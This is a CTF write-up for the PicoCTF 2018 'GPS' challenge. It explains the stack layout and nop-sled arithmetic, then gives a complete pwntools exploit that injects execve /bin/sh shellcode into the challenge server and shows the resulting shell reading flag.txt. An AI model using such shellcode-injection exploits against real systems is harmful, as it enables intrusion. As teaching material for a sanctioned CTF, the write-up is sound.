PicoCTF 2018 - GPS

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Spot the Bug

This one is pretty similar to shellcode, but it comes with a random twist:

#define GPS_ACCURACY 1337

typedef void(fn_t)(void); // function pointer to `void function(void)`

void *query_position()
    char stk;
    int offset = rand() % GPS_ACCURACY - (GPS_ACCURACY / 2); //offset ∈ [-668, +668]
    void* ret = &stk + offset; // return stack address + random offset
    return ret;

int main()
    setbuf(stdout, NULL);

    char buffer[0x1000];
    srand((unsigned)(uintptr_t)buffer); // seed random based on stack randomness
    printf("We need to access flag.txt.\nCurrent position: %p\n", query_position());

    printf("What's your plan?\n> ");
    fgets(buffer, sizeof(buffer), stdin); // read buffer (NO NEWLINES!)

    fn_t *location;

    printf("Where do we start?\n> ");
    scanf("%p", (void **)&location);

    return 0;

Basically, it reads a bunch of bytes into a buffer and then asks for an address to jump to. We are given a hint about what addresses on the stack look like, but the value is offset by a random number between -668 and +668.


Once again, our plan is to fill buffer with bytes that look like code (64 bit shellcode this time). I’ll be writing my own shellcode, but you should feel free to use your own, or use one from pwntools. Note: system calls are executed in a totally different manor on x86-64 - make sure you don’t attempt to use the same shellcode you did in the previous shellcode challenge.

The strategy here is simple - somehow we have to use the information they give us about an address on the stack to calculate a “safe” place for execution to continue from. The danger is that if we jump to “before” our shellcode, then the program could crash, and if we jump after it, then the shellcode won’t run.

Background Info

Let’s ignore the “random offset” for now, and consider only the relationship between the return address of query_position (when the offset is 0) and our buffer.

  push   rbp
  mov    rbp,rsp
  sub    rsp,0x20

  ; ...

  cdqe  ; sign extend eax -> rax

  lea    rdx,[rbp-0x15] ; rdx = &stk
  add    rax,rdx
  mov    QWORD PTR [rbp-0x10],rax
  mov    rax,QWORD PTR [rbp-0x10]

  ; ...

Here we see that query_position calculates the offset (value that was in eax) adds to it the address of rbp-0x15 (an address on the stack).

Now, let’s look at main and the call to query_position:

  push   rbp
  mov    rbp,rsp
  sub    rsp,0x1020
  ; ...
  mov    eax,0x0
  call   400976 <query_position>  ; no arguments, no stack manipulation
  mov    rdx,QWORD PTR [rip+0x200629]        # 601090 <stdin@@GLIBC_2.2.5>
  lea    rax,[rbp-0x1010] ; &buffer!
  mov    esi,0x1000
  mov    rdi,rax
  call   400720 <fgets@plt>

Here, we see that main reserved 0x1020 bytes on the stack, and buffer begins at rbp-0x1010 (ie: rsp+0x10). The call to query_position doesn’t require any arguments or stack manipulation, but will put an extra 8 bytes for the return address onto the stack. Inside query_position 8 bytes are pushed to preserve the value of rbp, and 0x15 bytes before that is the address that would be returned if the random offset was 0.

lower addresses higher addresses
stk [rbp-0x15] rbp ⇒ <old rbp> [8] <return address> [8] padding[0x10] buffer[0x1000]

Therefore, there are 21 (0x15) + 8 + 8 + 16 (0x10) = 53 (0x35) bytes between the return address of query_position (when the offset is 0) and the start of buffer.

Ok, now that we’ve figured out the relationship between query_position and buffer, we need to somehow deal with random offset.

If you take the return value of query_position (which is printed out to the terminal), and add 0x35, then you get exactly the location of buffer when the offset is 0. With a random offset, this address could be anywhere from -668 to +668 bytes relative to the actual address of buffer.

We know the buffer is 4096 (0x1000) bytes large - which is a fairly large buffer just to hold some shellcode. What if we added some padding to the beginning of our shellcode? Some sort of safe instruction that would allow our guess about the beginning of the buffer to be off by a couple bytes, and we would just slide right through the padding and (eventually) into the shellcode. It would also be great if this instruction was encoded with exactly 1 byte, so that alignment wasn’t important.

If you think you know where this is headed, connect to the problem using nc 2018shell.picoctf.com 29035.


There is a single byte instruction that essentially does nothing: nop (which is actually just a mnemonic for xchg eax, eax); It is encoded as 0x90.

To safely “get around” the fact that you don’t know the exact start of the buffer you could:

  1. Pad the shellcode to start with 1336 nop instructions (0x90)
  2. Use the return value of query_position, but add 0x35 (as before), and then add 668.

As you do this, consider the two extremes:

  1. Offset = -668: your calculated position will be -668 (the random offset) + 668 (your addition) - aka exactly equal to the start of the buffer. There will be 1336 nop instructions executed, followed by your shellcode.
  2. Offset = +668: your calculated position will be 668 (the random offset) + 668 (your addition) bytes into the buffer. Execution will start immediately from the shellcode (all the nop instructions will be skipped).

Any offsets between these two extremes will execute some number of nop instructions before finally executing the shellcode. You’ve turned the random variable into something safe, at the expense of using up 1336 bytes of your buffer for nop instructions. This construction is known as a nop sled.

Here’s what that looks like using pwntools:

#!/usr/bin/env python3
# WARNING: WSL1 doesn't seem to support executable stacks!

from pwn import *

context.update(arch='amd64', os='linux')

# shellcode
sc = shellcraft.pushstr("/bin/sh")
sc += shellcraft.mov('rdi','rsp')
sc += shellcraft.push(0)
sc += shellcraft.mov('rsi', 'rsp')
sc += shellcraft.mov('rdx', 'rsi')
sc += shellcraft.linux.syscall('SYS_execve', 'rdi', 'rsi', 'rdx')


payload = b'\x90'*1336 + asm(sc)

#s = process('./gps') # use this to test locally
s = remote("2018shell.picoctf.com", 29035)
s.recvuntil("Current position: 0x")
addr = u64(unhex(s.recvline(keepends=False).zfill(16)), endian='big')

print("Addr: " + hex(addr))

s.recvuntil("> ")

s.recvuntil("> ")

target = addr + 668 + 0x35;
print("Sending: " + hex(target))


Which, when you use it, looks something like this (it will connect with the shell server by default):

$ python gps_exploit.py
[+] Opening connection to 2018shell.picoctf.com on port 29035: Done
Addr: 0x7ffe36399834
Sending: 0x7ffe36399b05
[*] Switching to interactive mode
$ ls
$ cat flag.txt

Now that you’ve mastered executing shellcode, head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.